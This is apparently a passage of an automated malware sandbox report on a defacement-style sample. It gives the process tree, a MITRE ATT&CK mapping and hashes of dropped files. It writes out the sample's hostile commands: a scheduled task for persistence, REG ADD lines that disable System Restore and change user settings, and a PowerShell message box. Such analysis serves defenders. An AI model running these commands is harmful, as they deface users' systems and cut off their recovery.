      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4720,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=5028 /prefetch:1
      4⤵
      PID:5636
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=4860,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=5212 /prefetch:1
      4⤵
      PID:5476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5356,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=4976 /prefetch:8
      4⤵
      PID:3808
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5376,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=5428 /prefetch:8
      4⤵
      PID:4984
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5764,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:8
      4⤵
      PID:5160
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --field-trial-handle=5788,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=5888 /prefetch:1
      4⤵
      PID:2204
  - - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6020,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:8
      4⤵
      PID:1668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6020,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:8
      4⤵
      PID:2508
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6600,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=6620 /prefetch:8
      4⤵
      PID:2840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6636,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=6748 /prefetch:8
      4⤵
      PID:4556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=5176,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=6592 /prefetch:1
      4⤵
      PID:3612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6676,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=5820 /prefetch:8
      4⤵
      PID:3016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6832,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=6684 /prefetch:8
      4⤵
      PID:2932
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6444,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=6888 /prefetch:8
      4⤵
      PID:1292
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7040,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=3272 /prefetch:8
      4⤵
      PID:1812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6336,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=7024 /prefetch:8
      4⤵
      PID:4952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7100,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=6972 /prefetch:8
      4⤵
      PID:220
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5636,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=5428 /prefetch:8
      4⤵
      PID:4984
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=6928,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=6448 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3104,i,17086217605595686377,8312645839461910757,262144 --variations-seed-version --mojo-platform-channel-handle=5580 /prefetch:8
      4⤵
      PID:2688
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v UseDefaultTile /t REG_DWORD /d 0x00000001 /f
  2⤵
  - Modifies registry key
  PID:5348
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /delete /tn slutMovieFile /F
  2⤵
  PID:3196
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /create /tn slutMovieFile /tr "C:\ProgramData\slutBat\video.bat" /sc daily /mo 1 /sd 11/11/2023 /st 20:37
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1480
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\Extensions\.webm /v Permissions /t REG_DWORD /d 1 /f
  2⤵
  PID:4356
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\Extensions\.webm /v Runtime /t REG_DWORD /d 1 /f
  2⤵
  PID:2124
- C:\Windows\SYSTEM32\REG.exe
  REG ADD "HKCU\Software\Microsoft\MediaPlayer\Preferences" /v "ModeLoop" /t REG_DWORD /d 1 /f
  2⤵
  PID:4972
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:1856
- C:\Windows\SYSTEM32\REG.exe
  REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\SystemRestore /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:4924
- C:\Windows\SYSTEM32\cmd.exe
  cmd /k start https://ko-fi.com/sw_takeover
  2⤵
  PID:4928
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://ko-fi.com/sw_takeover
    3⤵
    PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe
  PowerShell -Command "Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Don't forget to thank me <3.')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3276

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:5312

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2468
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
  2⤵
  PID:4888

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Account Manipulation

T1098

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1133206145\manifest.fingerprint

Filesize
66B

MD5
496b05677135db1c74d82f948538c21c

SHA1
e736e675ca5195b5fc16e59fb7de582437fb9f9a

SHA256
df55a9464ee22a0f860c0f3b4a75ec62471d37b4d8cb7a0e460eef98cb83ebe7

SHA512
8bd1b683e24a8c8c03b0bc041288296448f799a6f431bacbd62cb33e621672991141c7151d9424ad60ab65a7a6a30298243b8b71d281f9e99b8abb79fe16bd3c

Download Submit
C:\Program Files\chrome_Unpacker_BeginUnzipping2004_1133206145\manifest.json

Filesize
134B

MD5
049c307f30407da557545d34db8ced16

SHA1
f10b86ebfe8d30d0dc36210939ca7fa7a819d494

SHA256
c36944790c4a1fa2f2acec5f7809a4d6689ecb7fb3b2f19c831c9adb4e17fc54

SHA512
14f04e768956bdd9634f6a172104f2b630e2eeada2f73b9a249be2ec707f4a47ff60f2f700005ca95addd838db9438ad560e5136a10ed32df1d304d65f445780

Download Submit
C:\Program Files\chrome_Unpacker_BeginUnzipping2004_32721716\LICENSE

Filesize
1KB

MD5
ee002cb9e51bb8dfa89640a406a1090a

SHA1
49ee3ad535947d8821ffdeb67ffc9bc37d1ebbb2

SHA256
3dbd2c90050b652d63656481c3e5871c52261575292db77d4ea63419f187a55b

SHA512
d1fdcc436b8ca8c68d4dc7077f84f803a535bf2ce31d9eb5d0c466b62d6567b2c59974995060403ed757e92245db07e70c6bddbf1c3519fed300cc5b9bf9177c

Download Submit
C:\Program Files\chrome_Unpacker_BeginUnzipping2004_32721716\manifest.json

Filesize
79B

MD5
7f4b594a35d631af0e37fea02df71e72

SHA1
f7bc71621ea0c176ca1ab0a3c9fe52dbca116f57

SHA256
530882d7f535ae57a4906ca735b119c9e36480cbb780c7e8ad37c9c8fdf3d9b1

SHA512
bf3f92f5023f0fbad88526d919252a98db6d167e9ca3e15b94f7d71ded38a2cfb0409f57ef24708284ddd965bda2d3207cd99c008b1c9c8c93705fd66ac86360

Download Submit
C:\ProgramData\Microsoft\User Account Pictures\user-48.png

Filesize
718KB

MD5
24b62be2c7febe328af40a269e545bfa

SHA1
9c150298dd10fc9844327969b572ab63f1754cee

SHA256
16aed35c1ae9912ed7ee9aeeec96f823325399aa25a1450bb1cdc36c5394004d

SHA512
1cc6280a324444a414505a07404f50a444c9e5c00bdedbf298e7a17ff29094fb8efa4ed5aff9738603cdafce84af34fe27434365325bd6b3a4a1de5641447f2c

Download Submit
C:\ProgramData\slutBat\powershell.ps1

Filesize
620B

MD5
db71a767be6a7ef02863f7f14239e938

SHA1
77efe77c9130958c53861542b367bebe4f1ac923

SHA256
1b962e9b99cbc917445d34f3aa00bf89757dd39f9c7e66756165e03ef0e32abd

SHA512
702d720537cac5a52acfd64a1e2a5cbeea3d6639bf9a951114ed3dfe018dc1ae6c24bc8f5424d36a8750cb62d841f410c96090e5ace7debd1089ebbae75bc100

Download Submit
C:\ProgramData\slutBat\updateFiles.bat

Filesize
422B

MD5
65c728e31ad33ac81acad178a62b615e

SHA1
20e6c11b08d77f348f9af1b0ef911ebeba5c1593

SHA256
9fc617dcfa68a2f35b1f776460389cce06a1eb40ed8ac8279e23ed76610edf82

SHA512
884e09e188365e4f4f84dfa8d9947c81480ef9c333bf57eec93837b2911d03897c06829079f682d8b031796e9cd56bfbd968a08acd716af4b24c89deae6fa073

Download Submit
C:\ProgramData\slutBat\updateFiles.vbs

Filesize
180B

MD5
d887b8ae0030ece1ffc938c5cbf92609

SHA1
d5e12bebc86e6294984d592c8b08acc7a719b0fb

SHA256
a7205d4bc615a8fee974d553bf01a6e50bb07974e4b9e5184692932da4e4f473

SHA512
e0f75db5e7a036a39749b9196f82a16017acf85ecf6458e3cbe77e3371901323216f51a31a827a674536f9315ff9d06260695db0752dffbd67245555ee9030e9

Download Submit
C:\ProgramData\slut\files.zip

Filesize
6.4MB

MD5
faeee08963529d39f870e3222b468caf

SHA1
e0c4c59dd9a3d87027ae5251d14ddabdd94b822c

SHA256
5d06c9495bd162670fea2b241971c5994d9f5b66db19f75454ff9ea91bd6b8c2

SHA512
80a54dfd25f9c8caa6db85894df266923bdcd7e662ec9c0533982867ec3a9c5e6da044874478851cd2fb8f938051c2b33b7e932173986555c24bf13bc82d8d69

Download Submit
C:\ProgramData\slut\lockscreen.jpg

Filesize
939KB

MD5
f18483f9af092c34c4aaa879788e9ff5

SHA1
6cacc0d74b14c47c0fc6516527091efb98b3bd1b

SHA256
9ca9de43f58c69224d50db61aa9e5bfe6e069efbfdbd6809f8e7cc4055e39505

SHA512
1064046a1135e3e6ef3131b39581c4374b8f99493d099ee05a66c2f243c85197c98b4d1eac01ba166e4d032723c86a011c9dfefa6acfa0ebf4f943d006e2d294

Download Submit
C:\ProgramData\slut\video.webm

Filesize
1.0MB

MD5
b53fd849b29e73ad566b103ee3986cac

SHA1
dd2565ecd0d99cc736a8de8c1fe0aa28213bf7d8

SHA256
7f3dfe18b36b51ac60adea3be1832f67ab9d3cbc735c55a13a03c12641a3e524

SHA512
db895ad7b11bc1e5e021030d6d9b66aaacf33368c31686fb2e58a5ae34edcf496a0246df49512675e90e687971aab98ecf1143611ac36927e5fbeb478bad35ce

Download Submit
C:\ProgramData\slut\wallpaper.jpg

Filesize
350KB

MD5
ff20cb196cdfeda0620abce308b86a0d

SHA1
00bf6861ff80e24f606de6cd0968351ce15750bf

SHA256
543f624e3c39d4c6b2a2208111adffaaefb9e24ae51effe9621e8878781439e7

SHA512
079f6c94ddcdb958f6be7cf51505faa3fffe7dc1f552c73d9de50ddb412a38bb4801897f8b245ee51382a4c05f5383114d538fe2b46804e9aabed41d074fb3b5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.9\protocols.json

Filesize
3KB

MD5
f9fd82b572ef4ce41a3d1075acc52d22

SHA1
fdded5eef95391be440cc15f84ded0480c0141e3

SHA256
5f21978e992a53ebd9c138cb5391c481def7769e3525c586a8a94f276b3cd8d6

SHA512
17084cc74462310a608355fbeafa8b51f295fb5fd067dfc641e752e69b1ee4ffba0e9eafa263aab67daab780b9b6be370dd3b54dd4ba8426ab499e50ff5c7339

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
280B

MD5
7b0736a36bad51260e5db322736df2e9

SHA1
30af14ed09d3f769230d67f51e0adb955833673e

SHA256
0d2adfd06d505b9020c292d30597083d808bfd90ddc0fe173def5db96832a087

SHA512
caabdc6a8601b93f3c082e6506b3c9efe2242b90e92e86306dc0bd4857d33343ba395325fabb21f5db562d3e3932f52f77de547f379072d0154efd5f1b1cdeb3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000095

Filesize
216KB

MD5
50a7159ff34dea151d624f07e6cb1664

SHA1
e13fe30db96dcee328efda5cc78757b6e5b9339c

SHA256
e990d9d31c4c7d57dd4795e43baea05501fb6ea8b7760f89001be660425dd01b

SHA512
a7768dd7e315b07754a305080e0fc023765e5a224b2c3824e8e10f29286df63bbdefef379e069941fd8cd9c7c3befce976779ae2efdfb6e7da697b09d7f07250

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
9KB

MD5
541e6067b9f1a2d2438c27b4ff5e6c30

SHA1
14c2091cac9c2acc004609a28a1c4ad17ad96271

SHA256
936899cd06098f228b893d210688166716f42c14ff0802e12777d38d3b3dd77e

SHA512
53e1b6556bdb68c9931c6b6de6d0c4560faea1e29f39d73b3d1e07e5120382644ea557ebfd0b5fae2b2d06f0d33d63e9d0655c96a3c3f2e727418465f1c62f2b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe57e29f.TMP

Filesize
3KB

MD5
85b498959deadebe91d439e089048f76

SHA1
35eca79c2371eb4c146170c9f73b0938a07e8241

SHA256
119501f91541d6626677ccc162787866650467b2dee8bd4b74eabc8680432ae5

SHA512
7cbcf6761c5865a6b6457a5779b8a157e4686d4a0e75629545d1f1b88f12dd250cf68a8ed5eae4aa66d984fc233eb7ae0209f373411e940607f7d861efe2929f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps

Filesize
107KB

MD5
40e2018187b61af5be8caf035fb72882

SHA1
72a0b7bcb454b6b727bf90da35879b3e9a70621e

SHA256
b3efd9d75856016510dd0bdb5e22359925cee7f2056b3cde6411c55ae8ae8ee5

SHA512
a21b8f3f7d646909d6aed605ad5823269f52fda1255aa9bb4d4643e165a7b11935572bf9e0a6a324874f99c20a6f3b6d1e457c7ccd30adcac83c15febc063d12

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State

Filesize
7KB

MD5
5938062b6ff509ebc9b038cd1ebfee22

SHA1
56c07881dde3a8a2d035b854f78cfa8a9d732c08

SHA256
b7f025959f0c873b7d368db19eec6db8cc7f1d5a8bcbddcbf26e3eb46e5b3b2a

SHA512
be9ecc69576359af8905a215e2d0c228c7983c414b667cf2089985fb107bd30e2c38e40b5380ce9f369b89d4b461109ceda2172cc18a51ad194c7a1c3a0d1f0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

Filesize
40B

MD5
20d4b8fa017a12a108c87f540836e250

SHA1
1ac617fac131262b6d3ce1f52f5907e31d5f6f00

SHA256
6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d

SHA512
507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
18KB

MD5
d2820559d65b45a93d5875d0f57cbccc

SHA1
9bb184e2381fc6fb3be2f4c41399641a96b54c37

SHA256
f98891ccb487afb7e9b6a5b60f903a11d15cac46a5c9250428250271c934f681

SHA512
f4237c681d2fed91e89d1e314c4291e3dffb1158119fb6fc2d6d5f695ded6c1c53a5f680dc5a2be69882bc07f553ef7af90ed72b0ce70a2bdade1cde06c77a53

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
18KB

MD5
0473af26dfc2676e5ede65912f40db73

SHA1
79deddd4ee02a9fe4aa88fcd9040068ebbcc6321

SHA256
08cd88172baabe712f845d26c4d68f3f96575630f529cc58d430e2b027393f22

SHA512
4bd0cfba24b605e8d973374e0cbf548de39a8cf9820df8f80e590fd36b4459835ba8d522b63475c89f98b42fcef130a70ad6e336e15536f35415fccb387c32b8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
36KB

MD5
fb6891a614d1e8b1a8a69f163ba0939a

SHA1
e064f3d507d749184233ccfd6164aabbfcb0c7cd

SHA256
0436e24c14d265acf1b16b685309e3599cb497c81f6749a680993f197cadc962

SHA512
98fd7d81edddcab053ee1abd35db117fe7ad6436472893afdc293237cb6f72201e46e6c7d4cf6ae1fd6fd529a6b4806a3dc4f41c17c4b73ad2bf5df1d3297595

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
72B

MD5
2df78cc9390d3e58fd754c573756ff17

SHA1
73c00228d56edae2c217a30d9874d3e0ff73e5e1

SHA256
1eee4fdf599055bddf03b7def2e14fc252f1b6f07b2fded6b5c3f911c6baebd0

SHA512
ac05933958a23d70b31eb3b145aa90e3059323f3c3a50cbdc0fc609016f69962347136e06ae9d4b0be49444a772ba52b1588a7ec6ddca35e5df07b3daf32d5a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe57cca6.TMP

Filesize
48B

MD5
0f0e722ba0e68cb9ba3134b12e6e6952

SHA1
6c42594d5e3fb807253a28aa1b717d84b8f12c2b

SHA256
95441989bb1ee1dd4b41918bd9cc40d725414cf51b60d306b0c669a84f0a7858

SHA512
e6eeb3851076b4881c329b7a82aac193bc77e30d56d4c590729e7be87ab25688e9083041c831f4c6dba27c0e06692f8ed7a9a7ca16dab33bde2eca8a55c4068f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log

Filesize
22KB

MD5
d5c769716ea6ead82af5a23ded5e9e28

SHA1
33e485adf388876abe95a800aeeab78a97bab027

SHA256
04b9c8d8f63b6870a10616a3521a5fdab37addd58bc4fcf518628d07718c13db

SHA512
13711e9a3bff6ed93b52b82e06a771eaff6bb64745a119aa41623c7291e4144848d3b2290e9ab2eea51033ee582dbb38b8f45e2978d7cf22bf4cd03ef79228bb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
467B

MD5
5fc3677574e88636aef221216e26a708

SHA1
f760402db5fadf89809f95dd380b960a0957df17

SHA256
25bae7bb8d6ba49f0680ba25924ca3e234e0c7f8c67717be36757d66cdf83450

SHA512
71290e61f58d5272560c6f8665e09c6f80e63ee3c374952d059fc5bfcb6098e0b860f8fb5c353d9f2da67bcdd8fab34cc6b1539d1d183c7aaa01564af2786b59

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
23KB

MD5
bbc7196ab1f53620af722134e0645d06

SHA1
b4cb17783a78ec788b38e11c9ad4260512619cf6

SHA256
f1a4fdd7e12138c565a08a3e9143493ee22a17ee9189eebeea9ec068d737dda7

SHA512
d305fddac8d61b5e3bb038990047e7783e4de10afafc6ca5ba1a2454b585ada21f0707efdb966620049bea06edf1dab557d830e46a3efdbb6da8cddf673af586

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog

Filesize
900B

MD5
